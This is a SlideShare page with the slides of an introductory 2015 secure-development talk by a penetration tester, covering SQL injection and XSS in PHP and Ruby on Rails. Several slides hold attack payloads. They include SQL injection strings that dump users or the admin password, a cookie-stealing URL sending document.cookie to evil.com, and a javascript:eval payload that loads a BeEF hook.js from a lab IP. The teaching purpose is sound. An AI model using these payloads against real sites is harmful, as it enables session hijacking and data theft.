SlideShare a Scribd company logo
Don’t Do what Derpy
The Dreadful Dev Does
(also - don’t let “friends” on IRC decide on your talk title)
Secure Development Melbourne, 11/06/2015
whoami
• @liamosaur
• Penetration Tester / Consultant
with Assurance
• Previously: C# / Java developer
The Brief
• Basic, Introductory Level talk
about security
• Establish some common
ground between the Infosec
and Dev world
Topics
• Popular vulnerabilities (hopefully
a recap)
• Demo some tools by exploiting
some vulns
OWASP Top 5/10
1. Injection (SQLi, Command injection,
XXE, LDAPi etc)
2. Broken Auth / Session Management
3. Cross-Site Scripting (XSS)
4. Insecure Direct Object References
5. Security Misconfiguration
SQLi basics
• Inject user controlled content
into dynamic SQL queries,
allowing unintended access/
control of database
SQLi basics
• PHP: $query = "SELECT username
FROM users WHERE username=‘".
$_POST['username']."'";
• Input: liamo
• SQL: SELECT username FROM users
WHERE username=‘liamo’
• Query result: liamo
SQLi basics
• PHP: $query = "SELECT username
FROM users WHERE username=‘".
$_POST['username']."'";
• Input: ' OR 'a'='a
• SQL: SELECT username FROM users
WHERE username=‘' OR ‘a'='a’
• Query result: list of all users
SQLi basics
• PHP: $query = "SELECT username FROM
users WHERE username=‘".
$_POST['username']."'";
• Input: liamo' UNION SELECT password
FROM users WHERE username='admin
• SQL: SELECT username FROM users WHERE
username=‘liamo' UNION SELECT
password FROM users WHERE
username='admin’
• Query result: liamo and the admin password
Cross-Site Scripting (XSS)
• Inject user controlled content
into dynamic web content,
allowing unintended access/
control within a target browser
XSS Basics
• HTML: <html><body>Hello,
<?php echo $_REQUEST
['name']; ?>!</body></
html>
• Input: Liam
• Output: Hello, Liam!
XSS Basics
• HTML: <html><body>Hello, <?
php echo $_REQUEST
['name']; ?>!</body></
html>
• Input: Liam<script>alert(1)</
script>
• Output:
XSS - Who cares?
• Old school - cookie stealing
• http://evil.com/cookies.php?
+escape(document.cookie)
• Steal session ID - game over
• Less effective thanks to
httpOnly cookie flag
“Nobody uses PHP anymore Liam,
all the cool kids use Ruby on Rails
now”
PHP Demo!
Rails
• Problem #1 - I don’t know Rails
• Solution: Learn Rails! (this is
definitely a worthwhile proposition for a
“10-20 minute talk”)
Rails
• Learned Rails. Wrote a basic app
• Problem #2: Rails has
ActiveRecord magic beans that
prevent SQLi
Rails
• Solution: Uhh.. maybe I’ll just
demo XSS instead!
Rails
• Problem #3: Rails has input/
output escaping magic beans
that prevent XSS
• Solution: Declare webapp
security solved, retire from
pentesting, write Rails app,
move to SF, get VC, found
startup, sell to Google/Apple,
make fat stacks, retire
Rubby Demo!
Presenting: Rubby
Presenting: Rubby
• Bad code
• Better code
Exploiting Rubby
Rubby XSS
• “link_to” is vulnerable to XSS out of
the box if it displays user controlled
content
Rubby XSS
• Challenge for those playing at home:
some up with a shorter, more elegant
way of injecting a link to hook.js into a
Rails link_to than this monstrosity:
javascript:eval("function x()
{var a =
document.createElement('scrip
t');a.setAttribute('src','htt
p://192.168.57.159:3000/
hook.js');document.head.appen
dChild(a);};x();");
BeEF Tunnelling Proxy
BeEF SERVER 

(http proxy)
Phish
with XSS
hook.js
Attackers
Browser
Victims
Browser

(XHR proxy)
Target server
(same domain as
XSS phish)
Frameworks/Languages
• PHP
• Bad: No built in security
• Ruby on Rails
• Good: Built in security
Frameworks/Languages
• PHP
• Good: PHP devs know they need
to take security into account
• Ruby on Rails
• Bad: “The framework takes care
of security for me!”
Conclusions
• Security is everyone’s
responsibility
• Your frameworks magic beans
won’t save you
Questions - save for
the Q&A Panel!
References
• https://www.owasp.org/index.php/
Top_10_2013-Top_10
• http://rails-sqli.org/
• https://www.owasp.org/index.php/
Ruby_on_Rails_Cheatsheet
• https://github.com/beefproject/beef/wiki/
Tunneling
• http://sqlmap.org/

More Related Content

PPTX
Thoughts on Defensive Development for Sitecore
PDF
WordPress Security Essentials
PPTX
Loose Lips Sink Ships: Why Your Application Tells Me How to Hack It
PDF
Testers, get into security bug bounties!
PDF
Be Securious – Hack Your Own Site for Better Security
PPTX
Neo word press meetup ehermits - how to keep your blog from being hacked 2012
PPT
Blog World 2010 - How to Keep Your Blog from Being Hacked
PPTX
Let’s write a plugin
Thoughts on Defensive Development for Sitecore
WordPress Security Essentials
Loose Lips Sink Ships: Why Your Application Tells Me How to Hack It
Testers, get into security bug bounties!
Be Securious – Hack Your Own Site for Better Security
Neo word press meetup ehermits - how to keep your blog from being hacked 2012
Blog World 2010 - How to Keep Your Blog from Being Hacked
Let’s write a plugin

What's hot (19)

PDF
Keep Your SIte Secure
PDF
The Hacker's Guide to XSS
PDF
WordPress Setup and Security - WordCamp, Charleston 2014
PPTX
Html5 security
PDF
Html5 for Security Folks
PDF
orcreatehappyusers
PDF
8 Simple Ways to Hack Your Joomla
PDF
Analysis of web application worms and viruses
KEY
Screw HTML5, make cool shit with AIR
PDF
Intro to Yo
PDF
Progressive Enhancement
PPTX
Selenium Online Training
PDF
Lecture1
PPTX
Securing your web apps now
PDF
PENETRATION TESTING FROM A HOT TUB TIME MACHINE
PPTX
Devouring Security Insufficient data validation risks Cross Site Scripting
PDF
The ES6 Conundrum - All Things Open 2015
PPTX
Java scriptwidgetdevelopmentjstanbul2012
PDF
Demystifying WordPress
Keep Your SIte Secure
The Hacker's Guide to XSS
WordPress Setup and Security - WordCamp, Charleston 2014
Html5 security
Html5 for Security Folks
orcreatehappyusers
8 Simple Ways to Hack Your Joomla
Analysis of web application worms and viruses
Screw HTML5, make cool shit with AIR
Intro to Yo
Progressive Enhancement
Selenium Online Training
Lecture1
Securing your web apps now
PENETRATION TESTING FROM A HOT TUB TIME MACHINE
Devouring Security Insufficient data validation risks Cross Site Scripting
The ES6 Conundrum - All Things Open 2015
Java scriptwidgetdevelopmentjstanbul2012
Demystifying WordPress
Ad

Similar to Don't Do what Derpy the Dreadful Dev Does (20)

PPT
OWASP Top 10 Security Vulnerabilities, and Securing them with Oracle ADF
PDF
Finding Needles in Haystacks
PPT
Top Ten Proactive Web Security Controls v5
PDF
libinjection: from SQLi to XSS  by Nick Galbreath
PDF
Hacking sites for fun and profit
PPTX
Ten Commandments of Secure Coding - OWASP Top Ten Proactive Controls
PPTX
Ten Commandments of Secure Coding
PDF
Security in practice with Java EE 6 and GlassFish
PPTX
(java2days) The Anatomy of Java Vulnerabilities
PDF
Shiny, Let’s Be Bad Guys: Exploiting and Mitigating the Top 10 Web App Vulner...
PDF
Hacking sites for fun and profit
PDF
Secure PHP Coding
PPTX
On non existent 0-days, stable binary exploits and
PPTX
Java application security the hard way - a workshop for the serious developer
PPTX
Confidence web
PDF
Entomology 101
PDF
Esage on non-existent 0-days, stable binary exploits and user interaction
PDF
Defensive programing 101
PPTX
CollabSphere SC 103 : Domino on the Web : Yes, It's (Probably) Hackable
PDF
Joomla! security jday2015
OWASP Top 10 Security Vulnerabilities, and Securing them with Oracle ADF
Finding Needles in Haystacks
Top Ten Proactive Web Security Controls v5
libinjection: from SQLi to XSS  by Nick Galbreath
Hacking sites for fun and profit
Ten Commandments of Secure Coding - OWASP Top Ten Proactive Controls
Ten Commandments of Secure Coding
Security in practice with Java EE 6 and GlassFish
(java2days) The Anatomy of Java Vulnerabilities
Shiny, Let’s Be Bad Guys: Exploiting and Mitigating the Top 10 Web App Vulner...
Hacking sites for fun and profit
Secure PHP Coding
On non existent 0-days, stable binary exploits and
Java application security the hard way - a workshop for the serious developer
Confidence web
Entomology 101
Esage on non-existent 0-days, stable binary exploits and user interaction
Defensive programing 101
CollabSphere SC 103 : Domino on the Web : Yes, It's (Probably) Hackable
Joomla! security jday2015
Ad

Recently uploaded (20)

PPTX
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
PDF
Building Integrated photovoltaic BIPV_UPV.pdf
PPTX
Effective Security Operations Center (SOC) A Modern, Strategic, and Threat-In...
PDF
Reach Out and Touch Someone: Haptics and Empathic Computing
PDF
KodekX | Application Modernization Development
PDF
Encapsulation theory and applications.pdf
PDF
Architecting across the Boundaries of two Complex Domains - Healthcare & Tech...
DOCX
The AUB Centre for AI in Media Proposal.docx
PDF
Profit Center Accounting in SAP S/4HANA, S4F28 Col11
PDF
Empathic Computing: Creating Shared Understanding
PPT
“AI and Expert System Decision Support & Business Intelligence Systems”
PPTX
Big Data Technologies - Introduction.pptx
PDF
Peak of Data & AI Encore- AI for Metadata and Smarter Workflows
PDF
NewMind AI Weekly Chronicles - August'25 Week I
PPTX
Programs and apps: productivity, graphics, security and other tools
PDF
Advanced methodologies resolving dimensionality complications for autism neur...
PPT
Teaching material agriculture food technology
PDF
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
PPTX
Spectroscopy.pptx food analysis technology
PDF
Electronic commerce courselecture one. Pdf
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
Building Integrated photovoltaic BIPV_UPV.pdf
Effective Security Operations Center (SOC) A Modern, Strategic, and Threat-In...
Reach Out and Touch Someone: Haptics and Empathic Computing
KodekX | Application Modernization Development
Encapsulation theory and applications.pdf
Architecting across the Boundaries of two Complex Domains - Healthcare & Tech...
The AUB Centre for AI in Media Proposal.docx
Profit Center Accounting in SAP S/4HANA, S4F28 Col11
Empathic Computing: Creating Shared Understanding
“AI and Expert System Decision Support & Business Intelligence Systems”
Big Data Technologies - Introduction.pptx
Peak of Data & AI Encore- AI for Metadata and Smarter Workflows
NewMind AI Weekly Chronicles - August'25 Week I
Programs and apps: productivity, graphics, security and other tools
Advanced methodologies resolving dimensionality complications for autism neur...
Teaching material agriculture food technology
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
Spectroscopy.pptx food analysis technology
Electronic commerce courselecture one. Pdf

Don't Do what Derpy the Dreadful Dev Does

  • 1. Don’t Do what Derpy The Dreadful Dev Does (also - don’t let “friends” on IRC decide on your talk title) Secure Development Melbourne, 11/06/2015
  • 2. whoami • @liamosaur • Penetration Tester / Consultant with Assurance • Previously: C# / Java developer
  • 3. The Brief • Basic, Introductory Level talk about security • Establish some common ground between the Infosec and Dev world
  • 4. Topics • Popular vulnerabilities (hopefully a recap) • Demo some tools by exploiting some vulns
  • 5. OWASP Top 5/10 1. Injection (SQLi, Command injection, XXE, LDAPi etc) 2. Broken Auth / Session Management 3. Cross-Site Scripting (XSS) 4. Insecure Direct Object References 5. Security Misconfiguration
  • 6. SQLi basics • Inject user controlled content into dynamic SQL queries, allowing unintended access/ control of database
  • 7. SQLi basics • PHP: $query = "SELECT username FROM users WHERE username=‘". $_POST['username']."'"; • Input: liamo • SQL: SELECT username FROM users WHERE username=‘liamo’ • Query result: liamo
  • 8. SQLi basics • PHP: $query = "SELECT username FROM users WHERE username=‘". $_POST['username']."'"; • Input: ' OR 'a'='a • SQL: SELECT username FROM users WHERE username=‘' OR ‘a'='a’ • Query result: list of all users
  • 9. SQLi basics • PHP: $query = "SELECT username FROM users WHERE username=‘". $_POST['username']."'"; • Input: liamo' UNION SELECT password FROM users WHERE username='admin • SQL: SELECT username FROM users WHERE username=‘liamo' UNION SELECT password FROM users WHERE username='admin’ • Query result: liamo and the admin password
  • 10. Cross-Site Scripting (XSS) • Inject user controlled content into dynamic web content, allowing unintended access/ control within a target browser
  • 11. XSS Basics • HTML: <html><body>Hello, <?php echo $_REQUEST ['name']; ?>!</body></ html> • Input: Liam • Output: Hello, Liam!
  • 12. XSS Basics • HTML: <html><body>Hello, <? php echo $_REQUEST ['name']; ?>!</body></ html> • Input: Liam<script>alert(1)</ script> • Output:
  • 13. XSS - Who cares? • Old school - cookie stealing • http://evil.com/cookies.php? +escape(document.cookie) • Steal session ID - game over • Less effective thanks to httpOnly cookie flag
  • 14. “Nobody uses PHP anymore Liam, all the cool kids use Ruby on Rails now” PHP Demo!
  • 15. Rails • Problem #1 - I don’t know Rails • Solution: Learn Rails! (this is definitely a worthwhile proposition for a “10-20 minute talk”)
  • 16. Rails • Learned Rails. Wrote a basic app • Problem #2: Rails has ActiveRecord magic beans that prevent SQLi
  • 17. Rails • Solution: Uhh.. maybe I’ll just demo XSS instead!
  • 18. Rails • Problem #3: Rails has input/ output escaping magic beans that prevent XSS
  • 19. • Solution: Declare webapp security solved, retire from pentesting, write Rails app, move to SF, get VC, found startup, sell to Google/Apple, make fat stacks, retire
  • 22. Presenting: Rubby • Bad code • Better code
  • 24. Rubby XSS • “link_to” is vulnerable to XSS out of the box if it displays user controlled content
  • 25. Rubby XSS • Challenge for those playing at home: some up with a shorter, more elegant way of injecting a link to hook.js into a Rails link_to than this monstrosity: javascript:eval("function x() {var a = document.createElement('scrip t');a.setAttribute('src','htt p://192.168.57.159:3000/ hook.js');document.head.appen dChild(a);};x();");
  • 26. BeEF Tunnelling Proxy BeEF SERVER 
 (http proxy) Phish with XSS hook.js Attackers Browser Victims Browser
 (XHR proxy) Target server (same domain as XSS phish)
  • 27. Frameworks/Languages • PHP • Bad: No built in security • Ruby on Rails • Good: Built in security
  • 28. Frameworks/Languages • PHP • Good: PHP devs know they need to take security into account • Ruby on Rails • Bad: “The framework takes care of security for me!”
  • 29. Conclusions • Security is everyone’s responsibility • Your frameworks magic beans won’t save you
  • 30. Questions - save for the Q&A Panel!
  • 31. References • https://www.owasp.org/index.php/ Top_10_2013-Top_10 • http://rails-sqli.org/ • https://www.owasp.org/index.php/ Ruby_on_Rails_Cheatsheet • https://github.com/beefproject/beef/wiki/ Tunneling • http://sqlmap.org/